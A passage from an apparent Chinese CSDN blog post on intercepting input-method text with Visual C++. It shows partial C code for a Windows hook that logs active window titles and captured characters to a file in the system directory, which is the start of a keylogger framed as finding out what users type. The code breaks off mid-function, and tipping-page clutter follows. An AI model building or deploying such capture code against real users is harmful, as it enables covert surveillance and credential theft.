基于Visual C++实现输入法拦截

本文介绍了如何使用Visual C++来实现输入法的拦截功能。通过设置钩子并接收钩子信息,开发者可以捕获用户的输入内容。
摘要由CSDN通过智能技术生成

 

我们想知道用户输入了什么吗,

那么我们可以拦截输入法吗,当然可以

我们先实现钩子

#include "windows.h"
#include "imm.h"
#include "stdio.h"

//#define HOOK_API __declspec(dllexport) 

HHOOK        g_hHook            = NULL;        //hook句柄
HINSTANCE  g_hHinstance    = NULL;        //程序句柄
HWND         LastFocusWnd  = 0;//上一次句柄,必须使全局的
HWND         FocusWnd;         //当前窗口句柄,必须使全局的  

char title[256];              //获得窗口名字 
char *ftemp;                //begin/end 写到文件里面
char temptitle[256]="<<标题:";  //<<标题:窗口名字>>
char t[2]={0,0};              //捕获单个字母
void writefile(char *lpstr)
{//保存为文件
	FILE* f1;
	char cmd[256];
	GetSystemDirectory(cmd,256);
    strcat(cmd,"\\hooktxt.txt");
    f1=fopen(cmd,"a+");
    fwrite(lpstr,strlen(lpstr),1,f1);
    fclose(f1);
}
void writtitle()
{//保存当前窗口
	FocusWnd = GetActiveWindow();
	if(LastFocusWnd != FocusWnd)
	{
		ftemp="\n---------End----------\n";
		writefile(ftemp);
		ftemp="\n--------begin---------\n";
		writefile(ftemp);
		GetWindowText(FocusWnd, title, 256);  //当前窗口标题
		LastFocusWnd = FocusWnd;
		strcat(temptitle,title);
		strcat(temptitle,">>\n");
		writefile(temptitle);
	}
}
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{ 
    PMSG pmsg 
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

尹成

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值